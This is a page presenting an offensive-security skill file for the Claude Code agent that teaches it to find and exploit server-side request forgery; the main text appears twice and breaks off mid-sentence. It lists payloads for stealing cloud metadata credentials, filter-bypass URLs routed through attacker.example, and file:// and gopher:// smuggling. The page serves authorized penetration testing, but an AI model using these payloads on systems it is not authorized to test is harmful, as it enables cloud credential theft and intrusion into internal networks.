/exploiting-ssrf
Find and exploit server-side request forgery — reaching cloud instance metadata on AWS IMDSv1/IMDSv2, Azure IMDS, and GCP, internal service discovery, filter and allowlist bypasses via DNS rebinding, redirects, and encoding, and blind SSRF confirmation out of band. Use when an
$ npx -y skills add trilwu/secskills --skill exploiting-ssrf --agent claude-codeHow it fires
How this skill gets triggered: by you, by Claude, or both.
- Fires itselfAuto-invocation. Claude auto-loads it when your prompt matches the work.Auto-invocation is when the right skill fires by itself at the right moment, driven by a FLOW.md router and a hook, instead of you invoking it by name. It is the difference between a skill being installed and a skill actually getting used.Read the full definition →
- You can call itInvoke it directly when you want it.
- Slash command
/exploiting-ssrf
Context preview
The summary Claude sees to decide when to auto-load this skill.
Find and exploit server-side request forgery — reaching cloud instance metadata on AWS IMDSv1/IMDSv2, Azure IMDS, and GCP, internal service discovery, filter and allowlist bypasses via DNS rebinding, redirects, and encoding, and blind SSRF confirmation out of band. Use when an
SKILL.md
exploiting-ssrf.SKILL.mdname: exploiting-ssrf
description: Find and exploit server-side request forgery — reaching cloud instance metadata on AWS IMDSv1/IMDSv2, Azure IMDS, and GCP, internal service discovery, filter and allowlist bypasses via DNS rebinding, redirects, and encoding, and blind SSRF confirmation out of band. Use when an application fetches a URL supplied by the user, when testing webhooks, importers, PDF or screenshot renderers, or when reviewing outbound HTTP calls in source.
verified: 2026-07-27
Exploiting SSRF
SSRF matters because of what the server can reach that you cannot: the cloud metadata endpoint holding role credentials, internal services with no authentication, and the container network. The vulnerability is trivial; the work is in the bypasses and in knowing which internal target converts a curiosity into a compromise.
Only against systems you are authorized to test.
When to Use
- Any feature that fetches a URL: webhooks, imports, avatar-from-URL, link
previews, PDF/screenshot generation, XML/SVG processing, file fetch by URI
- A parameter contains a URL, hostname, IP, or a path that becomes one
- Source review finds an outbound HTTP call with a user-influenced target
- Testing an integration that "calls back" to a customer-supplied endpoint
When NOT to Use
- **Client-side request forgery (CSRF)** — different vulnerability entirely
- **The wider web methodology** — use `testing-web-applications`
- **Source review as the main task** — use `auditing-code-for-vulnerabilities`
- **Post-exploitation once you hold cloud credentials** — use
`exploiting-cloud-platforms`
- **Actually pivoting into internal systems beyond agreed scope** — SSRF
reaches further than most scopes intend; confirm before you traverse
Find It First
# Parameters that are, or become, URLs
rg -n 'url|uri|src|href|path|dest|redirect|next|feed|host|domain|callback|webhook|target|image|file|proxy' --type-add 'req:*.txt' -i
# Source review: outbound calls with an influenced target
rg -n 'requests\.get|urllib|httpx|HttpClient|fetch\(|curl_exec|file_get_contents|WebClient|RestTemplate|http\.Get' -A3
Every SSRF test starts with an out-of-band listener, because most SSRF is blind:
# Burp Collaborator, interact.sh, or your own DNS+HTTP logger
interactsh-client -v
# Submit http://<unique>.oast.example/ and watch for DNS and HTTP hits
**DNS resolution alone is a positive signal.** A DNS lookup with no HTTP request usually means the server resolved the host and then blocked the connection — the SSRF exists and a filter is in the way, which tells you to move to bypasses rather than abandon the parameter.
Cloud Metadata: The High-Value Target
# Expect IMDSv2 on any modern target. Since mid-2024 newly released EC2
# instance types are IMDSv2-only, and accounts can set IMDSv2-by-default for
# all new launches. A failed v1 GET therefore means "v1 is off", NOT "the host
# is not reachable" and NOT "no SSRF" — escalate to the v2 flow below before
# concluding anything.
# AWS IMDSv1 — a single GET, no headers (legacy instances only)
http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/meta-data/iam/security-credentials/
http://169.254.169.254/latest/meta-data/iam/security-credentials/<role-name>
# → AccessKeyId, SecretAccessKey, Token
# AWS IMDSv2 — requires a PUT to get a token first, then a header on the GET.
# This is why IMDSv2 blocks most SSRF: a simple URL-fetch primitive cannot set
# a custom header or issue a PUT. If the SSRF proxies your full request
# (method and headers), IMDSv2 is still reachable.
PUT http://169.254.169.254/latest/api/token
X-aws-ec2-metadata-token-ttl-seconds: 21600
GET http://169.254.169.254/latest/meta-data/...
X-aws-ec2-metadata-token: <token>
# Azure — requires a header, similar reasoning
http://169.254.169.254/metadata/instance?api-version=2021-02-01
Metadata: true
# GCP — requires a header
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
Metadata-Flavor: Google
# Kubernetes — the service account token is on disk, not over HTTP, but the
# API server and kubelet are reachable
https://kubernetes.default.svc/api/v1/namespaces/default/secrets
http://<node-ip>:10250/podsCredentials recovered here go to `exploiting-cloud-platforms`. Report the finding at the severity of what the role can do, not "an internal URL was fetched."
Also worth reaching: `http://localhost:<port>` for admin interfaces bound to loopback, Redis and Memcached (unauthenticated by default and reachable via `gopher://` if the client supports it), Elasticsearch on 9200, Docker's socket via `http://localhost:2375/containers/json`, and internal CI/CD dashboards.
Filter Bypasses
Work through these in order; the first three defeat most naive filters.
Alternate IP encodings for 169.254.169.254
2852039166 decimal
0251.0376.0251.0376 octal
0xA9FEA9FE hex
①⑥⑨.②⑤④… unicode digits (some parsers normalize)
Alternate localhost
127.0.0.1 127.1 127.000.000.1 0.0.0.0 0 [::1] [::ffff:127.0.0.1]
localtest.me spoofed.burpcollaborator.net (public DNS → 127.0.0.1)
DNS pointing where you want
Register a name whose A record is 169.254.169.254 or an internal IP
URL parser confusion — the fetcher and the validator disagree
http://expected.com@169.254.169.254/
http://169.254.169.254#expected.com/
http://expected.com.attacker.example/
http://attacker.example\@expected.com/
http://[::]:80/
Case, trailing dots, double slashes, and %2e%2e%2f in the path
Redirect chains — validator checks the first URL, fetcher follows the 302
https://attacker.example/redirect → 302 → http://169.254.169.254/...
Protocol smuggling, when the client supports it
file:///etc/passwd
gopher://127.0.0.1:6379/_SET%20key%20value (Redis via raw TCP)
dict://127.0.0.1:11211/stat
**DNS rebinding** defeats validators that resolve, check, the
Read more
name: exploiting-ssrf description: Find and exploit server-side request forgery — reaching cloud instance metadata on AWS IMDSv1/IMDSv2, Azure IMDS, and GCP, internal service discovery, filter and allowlist bypasses via DNS rebinding, redirects, and encoding, and blind SSRF confirmation out of band. Use when an application fetches a URL supplied by the user, when testing webhooks, importers, PDF or screenshot renderers, or when reviewing outbound HTTP calls in source. verified: 2026-07-27
Exploiting SSRF
SSRF matters because of what the server can reach that you cannot: the cloud metadata endpoint holding role credentials, internal services with no authentication, and the container network. The vulnerability is trivial; the work is in the bypasses and in knowing which internal target converts a curiosity into a compromise.
Only against systems you are authorized to test.
When to Use
- Any feature that fetches a URL: webhooks, imports, avatar-from-URL, link
previews, PDF/screenshot generation, XML/SVG processing, file fetch by URI
- A parameter contains a URL, hostname, IP, or a path that becomes one
- Source review finds an outbound HTTP call with a user-influenced target
- Testing an integration that "calls back" to a customer-supplied endpoint
When NOT to Use
- **Client-side request forgery (CSRF)** — different vulnerability entirely
- **The wider web methodology** — use `testing-web-applications`
- **Source review as the main task** — use `auditing-code-for-vulnerabilities`
- **Post-exploitation once you hold cloud credentials** — use
`exploiting-cloud-platforms`
- **Actually pivoting into internal systems beyond agreed scope** — SSRF
reaches further than most scopes intend; confirm before you traverse
Find It First
# Parameters that are, or become, URLs rg -n 'url|uri|src|href|path|dest|redirect|next|feed|host|domain|callback|webhook|target|image|file|proxy' --type-add 'req:*.txt' -i # Source review: outbound calls with an influenced target rg -n 'requests\.get|urllib|httpx|HttpClient|fetch\(|curl_exec|file_get_contents|WebClient|RestTemplate|http\.Get' -A3
Every SSRF test starts with an out-of-band listener, because most SSRF is blind:
# Burp Collaborator, interact.sh, or your own DNS+HTTP logger interactsh-client -v # Submit http://<unique>.oast.example/ and watch for DNS and HTTP hits
**DNS resolution alone is a positive signal.** A DNS lookup with no HTTP request usually means the server resolved the host and then blocked the connection — the SSRF exists and a filter is in the way, which tells you to move to bypasses rather than abandon the parameter.
Cloud Metadata: The High-Value Target
# Expect IMDSv2 on any modern target. Since mid-2024 newly released EC2
# instance types are IMDSv2-only, and accounts can set IMDSv2-by-default for
# all new launches. A failed v1 GET therefore means "v1 is off", NOT "the host
# is not reachable" and NOT "no SSRF" — escalate to the v2 flow below before
# concluding anything.
# AWS IMDSv1 — a single GET, no headers (legacy instances only)
http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/meta-data/iam/security-credentials/
http://169.254.169.254/latest/meta-data/iam/security-credentials/<role-name>
# → AccessKeyId, SecretAccessKey, Token
# AWS IMDSv2 — requires a PUT to get a token first, then a header on the GET.
# This is why IMDSv2 blocks most SSRF: a simple URL-fetch primitive cannot set
# a custom header or issue a PUT. If the SSRF proxies your full request
# (method and headers), IMDSv2 is still reachable.
PUT http://169.254.169.254/latest/api/token
X-aws-ec2-metadata-token-ttl-seconds: 21600
GET http://169.254.169.254/latest/meta-data/...
X-aws-ec2-metadata-token: <token>
# Azure — requires a header, similar reasoning
http://169.254.169.254/metadata/instance?api-version=2021-02-01
Metadata: true
# GCP — requires a header
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
Metadata-Flavor: Google
# Kubernetes — the service account token is on disk, not over HTTP, but the
# API server and kubelet are reachable
https://kubernetes.default.svc/api/v1/namespaces/default/secrets
http://<node-ip>:10250/podsCredentials recovered here go to `exploiting-cloud-platforms`. Report the finding at the severity of what the role can do, not "an internal URL was fetched."
Also worth reaching: `http://localhost:<port>` for admin interfaces bound to loopback, Redis and Memcached (unauthenticated by default and reachable via `gopher://` if the client supports it), Elasticsearch on 9200, Docker's socket via `http://localhost:2375/containers/json`, and internal CI/CD dashboards.
Filter Bypasses
Work through these in order; the first three defeat most naive filters.
Alternate IP encodings for 169.254.169.254 2852039166 decimal 0251.0376.0251.0376 octal 0xA9FEA9FE hex ①⑥⑨.②⑤④… unicode digits (some parsers normalize) Alternate localhost 127.0.0.1 127.1 127.000.000.1 0.0.0.0 0 [::1] [::ffff:127.0.0.1] localtest.me spoofed.burpcollaborator.net (public DNS → 127.0.0.1) DNS pointing where you want Register a name whose A record is 169.254.169.254 or an internal IP URL parser confusion — the fetcher and the validator disagree http://expected.com@169.254.169.254/ http://169.254.169.254#expected.com/ http://expected.com.attacker.example/ http://attacker.example\@expected.com/ http://[::]:80/ Case, trailing dots, double slashes, and %2e%2e%2f in the path Redirect chains — validator checks the first URL, fetcher follows the 302 https://attacker.example/redirect → 302 → http://169.254.169.254/... Protocol smuggling, when the client supports it file:///etc/passwd gopher://127.0.0.1:6379/_SET%20key%20value (Redis via raw TCP) dict://127.0.0.1:11211/stat
**DNS rebinding** defeats validators that resolve, check, the
**Security skills for Claude Code that encode the judgment professionals bring, not another wrapper around a scanner.** Offense, defense, and the reverse-engineering and code-audit core both sides share. Every skill is fact-checked against primary sources.

